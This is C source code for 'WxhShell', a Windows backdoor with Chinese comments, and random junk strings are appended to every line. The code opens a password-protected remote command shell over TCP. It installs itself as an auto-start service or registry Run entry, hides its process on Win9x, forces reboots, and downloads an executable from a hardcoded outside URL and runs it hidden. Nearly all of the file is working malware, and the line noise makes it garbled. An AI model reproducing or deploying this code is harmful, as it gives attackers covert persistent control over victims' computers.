    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P@C c]Z  
    else { `mrCu>7  
    closesocket(wsh); |"Z-7@/k$i  
    ExitThread(0); D ZVXz|g  
    } 3)Zu[c[%'J  
    break; Vb2\/e:k  
    } ZW>o5x__b  
  // 获取shell 4Q;<Q"  
  case 's': { |~eY%LB  
    CmdShell(wsh); L;3aZt,#O  
    closesocket(wsh); y`rL=N#  
    ExitThread(0); $.a|ae|K  
    break; F99A;M8(  
  } mbyih+amCr  
  // 退出 ;Z*'D}  
  case 'x': { (-\]A|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &3I$8v|!?  
    CloseIt(wsh); c}%es=@  
    break; Ah (iE  
    } e8{^f]5  
  // 离开 G]-%AO{K  
  case 'q': { 7%4.b7Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 45) D+  
    closesocket(wsh); };rm3;~ eg  
    WSACleanup(); )6=gooe]  
    exit(1); GMdI0jaG#  
    break; AF GwT%ZD  
        } KSc~GP _  
  } dMJ!>l>2  
  } RyuEHpN}  
t@)my[!  
  // 提示信息 8"i/wMP]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ENq"mwV|  
} =:gjz4}_8  
  } Ir27ZP  
@0|nq9l1  
  return; <1 S+ '  
} _s*! t  
ra]:$XJ5=a  
// shell模块句柄 ,E?4f @|X  
int CmdShell(SOCKET sock) xQo~%wW,?  
{ +*C^:^jA  
STARTUPINFO si; >$uUuiyL4  
ZeroMemory(&si,sizeof(si)); e\r7BW\Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pDOM:lGya  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MqdB\OW&  
PROCESS_INFORMATION ProcessInfo; \i0-o8q@I  
char cmdline[]="cmd"; i=L8=8B`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1"O&40l  
  return 0; 4)^vMG&  
} RL*]g*  
O: JPJ"!  
// 自身启动模式 (B:uc_+  
int StartFromService(void) {2:d` fqD  
{ (;UP%H>  
typedef struct +i=p5d5  
{ 59i]  
  DWORD ExitStatus; PBrnzkoY  
  DWORD PebBaseAddress; JT)k  
  DWORD AffinityMask; :!O><eQw  
  DWORD BasePriority; 3]^'  
  ULONG UniqueProcessId; <Oa9oM},d  
  ULONG InheritedFromUniqueProcessId; Nd!c2`  
}   PROCESS_BASIC_INFORMATION; r?^"6 5 =  
2r;GcjezH  
PROCNTQSIP NtQueryInformationProcess; 6vobta^w  
\Yq0 zVol  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [))JX"a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _2OuskL  
-!TcQzHUs  
  HANDLE             hProcess; D0ruTS  
  PROCESS_BASIC_INFORMATION pbi; TsD;Kl1  
v459},!P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @.ZL7$|d  
  if(NULL == hInst ) return 0; io2@}xZF  
oy5+ }`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L/x(RCD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Cs4hgb|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ffk4mhH  
wyw<jH  
  if (!NtQueryInformationProcess) return 0; tS<h8g_  
XWtiwf'K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hVUIBJ/5(-  
  if(!hProcess) return 0; QNArZ6UQ  
GV8)Kor%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jdM=SBy7q  
gz61FW  
  CloseHandle(hProcess); aZKXD! 4  
sPCMckt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |>2: eH  
if(hProcess==NULL) return 0; CH;;V3  
tpYa?ZCM  
HMODULE hMod; eYEc^nC,c)  
char procName[255]; [Oy >R  
unsigned long cbNeeded; FT.@1/)  
~`R1sSr"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G{o+R]Us  
z+/LS5$  
  CloseHandle(hProcess); }OrYpZob  
/DO'IHC.o  
if(strstr(procName,"services")) return 1; // 以服务启动 UX_I6_&  
uyT/Xzo3  
  return 0; // 注册表启动 f#P_xn&et  
} x?L hq2  
V]c5 Z$Bd  
// 主模块 }V]eg,.BJ  
int StartWxhshell(LPSTR lpCmdLine) }bMWTT  
{ 2xTT)9Tq*  
  SOCKET wsl; ?@UAL .y  
BOOL val=TRUE; GMm'of#  
  int port=0; ^>m^\MuZ  
  struct sockaddr_in door; V;93).-$  
Dp^/gL=  
  if(wscfg.ws_autoins) Install(); 54q3R`y  
8=Q V N_  
port=atoi(lpCmdLine); Y6ben7j%-  
wiE]z  
if(port<=0) port=wscfg.ws_port; yd>}wHt  
?/d!R]3  
  WSADATA data; wL2XNdo}<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D1Yh,P<CF\  
;+`uER  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~lw<799F6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oT3Y!Y3=<  
  door.sin_family = AF_INET; #C\4/g? =,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Jqru AW<  
  door.sin_port = htons(port); >Z\BfH  
]a/'6GbR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GZ8:e3ri  
closesocket(wsl); 4;*f1_;f~  
return 1; %-j&e44  
} gj+3y9  
L'9N9CR{i  
  if(listen(wsl,2) == INVALID_SOCKET) { xK;e\^v  
closesocket(wsl); "^%Z'ou  
return 1; (p |DcA]BX  
} h\y-L~2E  
  Wxhshell(wsl); uA\J0"0; }  
  WSACleanup(); \L[i9m|e  
VPd,]]S5(  
return 0; 8R xc&`_X  
#J$qa Ul  
} M!{'ED  
>5Lexj  
// 以NT服务方式启动 n )K6i7]xk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \!H{Ks{#R.  
{ B*@6xS[IL  
DWORD   status = 0; Dg2uE8k  
  DWORD   specificError = 0xfffffff; V8"Wpl9Cz  
0YS?=oi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QIV%6q+*R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h^M^7S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k/lFRi-i  
  serviceStatus.dwWin32ExitCode     = 0; I]uhi{\C  
  serviceStatus.dwServiceSpecificExitCode = 0; @2e2^8X7f  
  serviceStatus.dwCheckPoint       = 0; Pp_V5,i\  
  serviceStatus.dwWaitHint       = 0; 9Nt3Z >d  
\9/1L ?@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;[6&0! N\  
  if (hServiceStatusHandle==0) return; ~ FUa: KYD  
k'+}92 o  
status = GetLastError(); , Oli  
  if (status!=NO_ERROR) @vs@>CYdz  
{ ~7SH4Cr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J70D+  
    serviceStatus.dwCheckPoint       = 0; _!AJiP3!)4  
    serviceStatus.dwWaitHint       = 0; (wA?;]q(  
    serviceStatus.dwWin32ExitCode     = status; U:lv^ QPG  
    serviceStatus.dwServiceSpecificExitCode = specificError; }*kJ-q&0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LfX0Z=<  
    return; .ECHxDp  
  } !R:y'Y%j  
2u:4$x8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -<W2PY<  
  serviceStatus.dwCheckPoint       = 0; m0( E kK  
  serviceStatus.dwWaitHint       = 0; #Lka+l;L7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i'tp1CI  
} SRz&Nb  
TzM=LvA  
// 处理NT服务事件,比如:启动、停止 2Q ayM?k8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e.;M.8N#SQ  
{ #":a6%0Q  
switch(fdwControl) JJf<*j^G  
{ L11L23:  
case SERVICE_CONTROL_STOP: UK3a{O[ 5  
  serviceStatus.dwWin32ExitCode = 0; `WlE| G[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UR3$B%i  
  serviceStatus.dwCheckPoint   = 0; Alz~-hqQ  
  serviceStatus.dwWaitHint     = 0; @{}rG8  
  { 3jPB#%F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >oqZ !V5[  
  } |9,UaA  
  return; t26ij`V  
case SERVICE_CONTROL_PAUSE: ;f%|3-q1[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p&3> `C  
  break; p4mY0Y]mP  
case SERVICE_CONTROL_CONTINUE: ]T^ is>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y60"M4j  
  break; . U/k<v<)6  
case SERVICE_CONTROL_INTERROGATE: a %K}j\M  
  break; )HVcG0H1  
}; Tsz NlRxc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jA`a/v Wu  
} W_<4WG  
iBvOJs  
// 标准应用程序主函数 ty- r&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rn" pKUd  
{ \P?A7vuhLs  
s4,(26y  
// 获取操作系统版本 1K[(ou'rl  
OsIsNt=GetOsVer(); 25em[Q:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5"=:#zN  
=`p&h}h-L  
  // 从命令行安装 MUcN C\`z  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7rIlTrG  
nW5K[/1D  
  // 下载执行文件 ]Oso#GYD  
if(wscfg.ws_downexe) { B8~= RmWLl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (@Zcx9  
  WinExec(wscfg.ws_filenam,SW_HIDE); _01Px a2.  
} A3s57.Z]|  
/77z\[CeYH  
if(!OsIsNt) { |Fv?6qw+  
// 如果时win9x,隐藏进程并且设置为注册表启动 2k+16/T  
HideProc(); -e*BqH2t  
StartWxhshell(lpCmdLine); v2J0u:#,  
} Q!$IQJ]|Y  
else ;[Tyt[  
  if(StartFromService()) \ X$)vK  
  // 以服务方式启动 -P#nT 2  
  StartServiceCtrlDispatcher(DispatchTable); ;.s: X  
else t)I0lnbs  
  // 普通方式启动 `P.CNYR<J  
  StartWxhshell(lpCmdLine); D#v?gPo4  
oVkr3K Z  
return 0; p>p'.#M  
} 4VFc|g  
OCW+?B;  
Qp!J:YV  
o}~3JBn T  
=========================================== &=zU611,  
sXB+s  
V2Y$yV8g1  
mo9$NGM&}  
m2b`/JW  
 cht  
" 3h&bZ  
K-4tdC3  
#include <stdio.h> !6E:5=L^  
#include <string.h> d@>\E/zA  
#include <windows.h> }ywi"k4>  
#include <winsock2.h> ./.=Rw  
#include <winsvc.h> :[?!\m%0  
#include <urlmon.h> %fpsc _  
=pp:j`B9(  
#pragma comment (lib, "Ws2_32.lib") Dh`=ydI5  
#pragma comment (lib, "urlmon.lib") kCp)!hVQ  
F5IZ"Itu(  
#define MAX_USER   100 // 最大客户端连接数 W)-hU~^OM  
#define BUF_SOCK   200 // sock buffer kfCKhx   
#define KEY_BUFF   255 // 输入 buffer EUZq$@uWL  
bp%S62Dj  
#define REBOOT     0   // 重启 J @B4 R&V  
#define SHUTDOWN   1   // 关机 |<Bpv{]P  
-S$$/sR  
#define DEF_PORT   5000 // 监听端口 ,}<RrUfD  
76cEKHa<  
#define REG_LEN     16   // 注册表键长度 -+P7:4/  
#define SVC_LEN     80   // NT服务名长度 /f&By p  
b *9-}g:  
// 从dll定义API `a'` $'j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a#QBy P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }+DDJ6Jzs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C1 {ZW~"YI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XRa#2 1pQ  
T} 8CfG_ j  
// wxhshell配置信息 <gcmsiB|  
struct WSCFG { o)!m$Q~v  
  int ws_port;         // 监听端口 #=x+ [d+  
  char ws_passstr[REG_LEN]; // 口令 & rQD`E/  
  int ws_autoins;       // 安装标记, 1=yes 0=no |EeBSRAfe  
  char ws_regname[REG_LEN]; // 注册表键名 o7 arxo\  
  char ws_svcname[REG_LEN]; // 服务名 BWEv1' v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sVoR?peQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 : ;TYL[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]xrD<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :c<*%*e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (}0S1)7t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #eLN1q&Z  
O PiaG!3<  
}; M.[wKGX(  
K;C_Z/<%  
// default Wxhshell configuration VN+\>j-  
struct WSCFG wscfg={DEF_PORT, w, 7Cr  
    "xuhuanlingzhe", z1Q2*:)c  
    1, p1^0{ILx  
    "Wxhshell", lh$CWsx  
    "Wxhshell", WRM$DA  
            "WxhShell Service", \n(ROf^'  
    "Wrsky Windows CmdShell Service", y.ql#eQ,  
    "Please Input Your Password: ", X <FOn7qf  
  1, 0BFz7  
  "http://www.wrsky.com/wxhshell.exe", ! tr9(d  
  "Wxhshell.exe" `Sx.|`x8  
    }; w"6aha*%7  
l $w/Fz  
// 消息定义模块 yM|g|;U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qmID-t"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s7M}NA 0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^$}/|d(  
char *msg_ws_ext="\n\rExit."; Gc^t%Ue-H)  
char *msg_ws_end="\n\rQuit."; G1p'p&x.  
char *msg_ws_boot="\n\rReboot..."; qp@m&GH  
char *msg_ws_poff="\n\rShutdown..."; EW9b*r7./  
char *msg_ws_down="\n\rSave to "; g? I!OG  
ifHU|0_=  
char *msg_ws_err="\n\rErr!"; sW'6} ^Q  
char *msg_ws_ok="\n\rOK!"; -%=RFgU4  
N"~ qoJO  
char ExeFile[MAX_PATH]; TZBVU&,{Z  
int nUser = 0; 0V7 _n  
HANDLE handles[MAX_USER]; ~4+8p9f  
int OsIsNt; -xTKdm D  
f| =# q  
SERVICE_STATUS       serviceStatus; b-4dsz 'ai  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dFMAh&:>  
|Q6h /"2  
// 函数声明 OF-WUa4t  
int Install(void); _T a}B4;  
int Uninstall(void); nqeVV&b!  
int DownloadFile(char *sURL, SOCKET wsh); 6Wb!J>93  
int Boot(int flag); _[%n ~6  
void HideProc(void); j"0rkN3$J  
int GetOsVer(void); ?cJA^W  
int Wxhshell(SOCKET wsl); ]7l{g9?ZtV  
void TalkWithClient(void *cs); ( QKsB3X  
int CmdShell(SOCKET sock); {RJ52Gx(  
int StartFromService(void); }v&K~!*  
int StartWxhshell(LPSTR lpCmdLine); T,Fm"U6[(  
`OBl:e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g+3Hwtl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |C4o zl=O?  
F#KF6)P  
// 数据结构和表定义 [brkx3h  
SERVICE_TABLE_ENTRY DispatchTable[] = UT~4Cfb  
{ `xGT_0&ck  
{wscfg.ws_svcname, NTServiceMain}, @Rf^P(  
{NULL, NULL} tbS#^Y  
}; c`pYc  
Cg7)S[zl  
// 自我安装 c~37 +^B:  
int Install(void) B/rzh? b  
{ N:7.:Yw  
  char svExeFile[MAX_PATH]; :U8k|,~f  
  HKEY key; }Wqtip:L  
  strcpy(svExeFile,ExeFile); n@_)fFD%  
IOS^|2:,  
// 如果是win9x系统,修改注册表设为自启动 _C5nApb  
if(!OsIsNt) { e]Puv)S>{8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x?gQ\ 0S<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m'c#uU  
  RegCloseKey(key); d#4Wj0x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L@+Z)# V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); moe/cO5a9  
  RegCloseKey(key); VH[l\I(h  
  return 0; ys/vI/e\  
    } =CEHRny  
  } JC/d:.  
} i!tc  
else { y{?Kao7Ij  
N?zV*ngBS  
// 如果是NT以上系统,安装为系统服务 sc9]sIb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OFp#<o,p  
if (schSCManager!=0) $8=(I2&TW  
{ my]P_mE  
  SC_HANDLE schService = CreateService q{[1fE"[K4  
  ( wzg i @i  
  schSCManager, K` 2i  
  wscfg.ws_svcname, 16L"^EYq  
  wscfg.ws_svcdisp, |MVV +.X  
  SERVICE_ALL_ACCESS, ig+k[`W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2G H)iUmc  
  SERVICE_AUTO_START, $Q=$?>4U  
  SERVICE_ERROR_NORMAL, :ET x*c  
  svExeFile, uRFNfX(*  
  NULL, 8cB=}XgYS  
  NULL, oH=4m~'V  
  NULL, ";o~&8?)  
  NULL, }=TqJy1  
  NULL lu3Q,W  
  ); p?}&)Un  
  if (schService!=0) t6j-?c('  
  { ` 4OMZMq  
  CloseServiceHandle(schService); p0   
  CloseServiceHandle(schSCManager); V@Ax}<$A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 80dSQ"y  
  strcat(svExeFile,wscfg.ws_svcname); tD865gi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N=.}h\{0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >}mNi:6xq  
  RegCloseKey(key); dWMccn;-m  
  return 0; 3Nc'3NPQ'  
    } e5QOB/e&  
  } ]Kof sU_{  
  CloseServiceHandle(schSCManager); p1C_`f N,  
} Q:kwQg:~  
} g^qz&;R]  
.iN-4"_j1  
return 1; n<=y"*  
} x,}ez  
w' .'Yu6  
// 自我卸载 y(V&z"wk[  
int Uninstall(void)  B$@1QG  
{ .vN)A *  
  HKEY key; uQO(?nCi  
/@6E3lh S  
if(!OsIsNt) { X #&(~1O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w 7Cne%J8  
  RegDeleteValue(key,wscfg.ws_regname); >xk lt"*U,  
  RegCloseKey(key); suzFcLxo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =CWc`  
  RegDeleteValue(key,wscfg.ws_regname); bN]\K/  
  RegCloseKey(key); O}e|P~W  
  return 0; K3j_C` Se  
  } @T9m}+fR  
} A{G5Plrh  
} Cm99?K  
else { l# }As.o}  
:P HUsy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `^?}s-H+  
if (schSCManager!=0) nZ"{y  
{ y?[5jL|Ue  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pM1=U F  
  if (schService!=0) od;Bb  
  { d&O'r[S  
  if(DeleteService(schService)!=0) { #( $k 3OA  
  CloseServiceHandle(schService); oXnC "y}0P  
  CloseServiceHandle(schSCManager); 5w]DncdQ~  
  return 0; Z83q-  
  } [c,|Lw4  
  CloseServiceHandle(schService); y>DfM5>  
  } cdd P T  
  CloseServiceHandle(schSCManager); 38Bnf  
} 4x=V|"  
} Pn~pej5'K  
8XLxT(YFIs  
return 1; Y:DNu9  
} .CIbpV?T  
3L'en  
// 从指定url下载文件 >lUBt5gU  
int DownloadFile(char *sURL, SOCKET wsh) n$XMsl.>  
{ 1EKcD^U,  
  HRESULT hr; aeN }hG  
char seps[]= "/"; 9:bh3@r/  
char *token; nF|#@O`1  
char *file; `V?x xq\  
char myURL[MAX_PATH]; XLkL#&Ir  
char myFILE[MAX_PATH]; _lP4ez Y  
Ukk-(gjX  
strcpy(myURL,sURL); UchALR^5  
  token=strtok(myURL,seps); i{Y=!r5r  
  while(token!=NULL) K,`).YK  
  { IKNFYe[9e  
    file=token; Jnh;;<  
  token=strtok(NULL,seps); =;~%L  
  } s!8J.hD'I  
W}#QKZ)MB  
GetCurrentDirectory(MAX_PATH,myFILE); G%V=idU*"  
strcat(myFILE, "\\"); EuR!yD  
strcat(myFILE, file); 1puEP *P  
  send(wsh,myFILE,strlen(myFILE),0); ;oN{I@}k  
send(wsh,"...",3,0); U89]?^|bb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :F!dTD$  
  if(hr==S_OK) EM>c%BH<N  
return 0; eONeWY9  
else .y/NudD  
return 1; rCnV5Yb0O  
\NvC   
} ,kGw;8X  
[[Jv)?jm  
// 系统电源模块 UUdu;3E=5  
int Boot(int flag) $sd3h\P&R  
{ ];d5X  
  HANDLE hToken; i_oro "%yL  
  TOKEN_PRIVILEGES tkp; wiK@o$S-  
lOowMlf@2  
  if(OsIsNt) { W TXD4}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZNL;8sI?>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *@$($<pY&  
    tkp.PrivilegeCount = 1; #z-iL!?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V7K tbL#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ($ [r>)TG  
if(flag==REBOOT) { AAlmG9l&7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )7Hon  
  return 0; "NX m\`8  
} [9YlLL@  
else { E :'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dy8In%  
  return 0; ,q'gG`M N  
} eMpEFY  
  } g%fJyk'  
  else { B $ y44  
if(flag==REBOOT) { R:pBbA7E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zd6Qw-D7x  
  return 0; "tg\yem  
} Nj3^"}V  
else { s)o ,Fi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k#IS ,NKE  
  return 0; ZF/J/;uI  
} 7YQK@lS  
} T}b( M*E  
:?&WKW  
return 1; IgHs&=  
} QYf/tQg$  
&4[#_(pk  
// win9x进程隐藏模块 ~Uwr68 9N  
void HideProc(void) )\I? EU8  
{ Up!ZCZ$RC  
<x>k3bD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5m%baf2_  
  if ( hKernel != NULL ) alb+R$s  
  { ]"2 v7)e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u75)>^:I   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <L!~f`nH2  
    FreeLibrary(hKernel); U4^p({\|-  
  } ]U^d1&k  
\^;|S  
return; Dbkuh!R  
} sBuq  
SG+i\yu$h0  
// 获取操作系统版本 0c\|S>g [  
int GetOsVer(void) 5.C[)`_  
{ P98X[0&  
  OSVERSIONINFO winfo; -UD~>s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NZ%~n:/V#  
  GetVersionEx(&winfo); ?V\9,BTb)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KHc/x8^9  
  return 1; "[".3V  
  else }G,SqpcG  
  return 0; @6i8RmOu}  
} &=6cz$]z  
5>4A}hSe  
// 客户端句柄模块 3 q.[-.q  
int Wxhshell(SOCKET wsl) .olP m3MC  
{ 1$3XKw'  
  SOCKET wsh; faL^=CAe  
  struct sockaddr_in client; [WO%rO^p  
  DWORD myID; MRVz:g\mi  
)o'U0rAx|a  
  while(nUser<MAX_USER) &"H<+>`  
{ x9o^9QJh  
  int nSize=sizeof(client); xJH9qc ME  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @cTZ`bg  
  if(wsh==INVALID_SOCKET) return 1; .^N#|hp^  
8)q]^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yZ(Nv $[5  
if(handles[nUser]==0) yK>0[6l  
  closesocket(wsh); q:~`7I  
else 3Ld ;zW  
  nUser++; +{Vwz  
  } sKB-7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); amk42  
,TfI  
  return 0; {,-5k.P[  
} m^oi4mV  
/YugQ.>| l  
// 关闭 socket M-qxD"VtV=  
void CloseIt(SOCKET wsh) >s 8:1l  
{ j2{,1hj  
closesocket(wsh); l]kl V+9t  
nUser--; Bg+]_:<U  
ExitThread(0); s=%+o& B  
} @|UIV  
C+#;L+$Gi  
// 客户端请求句柄 kO`3ENN  
void TalkWithClient(void *cs) k.%W8C<Pa  
{ 1KIq$lG{ E  
|>o0d~s  
  SOCKET wsh=(SOCKET)cs; 6L6~IXL>  
  char pwd[SVC_LEN]; -JQg ~1  
  char cmd[KEY_BUFF]; }A'<?d8   
char chr[1]; Hb AMoow!  
int i,j; 8hdAXWPn  
5vh"PlK`s  
  while (nUser < MAX_USER) { ao" ;5 m  
O]%m{afM  
if(wscfg.ws_passstr) { a_iQlsU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FnQ_=b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |`t!aG8  
  //ZeroMemory(pwd,KEY_BUFF); C7 & 6rUX  
      i=0; pv?17(w(\  
  while(i<SVC_LEN) { [sY1|eX   
a^}P_hg}-  
  // 设置超时 J0*]6oD!  
  fd_set FdRead; A*;^F]~'  
  struct timeval TimeOut; g;Sg 2  
  FD_ZERO(&FdRead); )6R#k8'ERr  
  FD_SET(wsh,&FdRead); !9<RWNKV)Y  
  TimeOut.tv_sec=8; =!P?/  
  TimeOut.tv_usec=0; g /@yK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UG?C=Tf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5@Lxbe( q  
0) Um W{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n\ ',F  
  pwd=chr[0]; J)yy}[Fx  
  if(chr[0]==0xd || chr[0]==0xa) { lbuW*)  
  pwd=0; =UKR<@QrK  
  break; .gkPG'm[  
  } AoOG[to7  
  i++; _kY[8e5  
    } dV=5_wXZ$  
6r-n6#=  
  // 如果是非法用户,关闭 socket 3w:Z4]J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jUR #  
} |e[0Qo@  
xjbyI_D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); llG#nDe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g Wv+i/,  
[QqNsco)  
while(1) { JO^ [@  
^Er`{|o6u  
  ZeroMemory(cmd,KEY_BUFF); oY6|h3T=Q$  
NUnc"@  
      // 自动支持客户端 telnet标准   @)'@LF1Z  
  j=0; <VxpMF  
  while(j<KEY_BUFF) { MJ/%$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _NqT8C4C  
  cmd[j]=chr[0]; *_K-T#  
  if(chr[0]==0xa || chr[0]==0xd) { F#bo4'&>@  
  cmd[j]=0; 68GGS`&  
  break; dUtIAh-j  
  } -Tkd@  
  j++; Y&!]I84]  
    } 898wZ{9  
lgqL)^8A  
  // 下载文件 j}.J$RtW1f  
  if(strstr(cmd,"http://")) { `8.32@rUB.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 42LXL*-4  
  if(DownloadFile(cmd,wsh)) utl=O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GGL4<P7  
  else wfTv<WG,.E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?uX6X'-  
  } zUtf&Ih  
  else { m'"VuH?^  
p'!,F; xX  
    switch(cmd[0]) { 6')SJ*|yS  
  @>nk^ l  
  // 帮助 M-K@n$k   
  case '?': { UpseU8Wo  
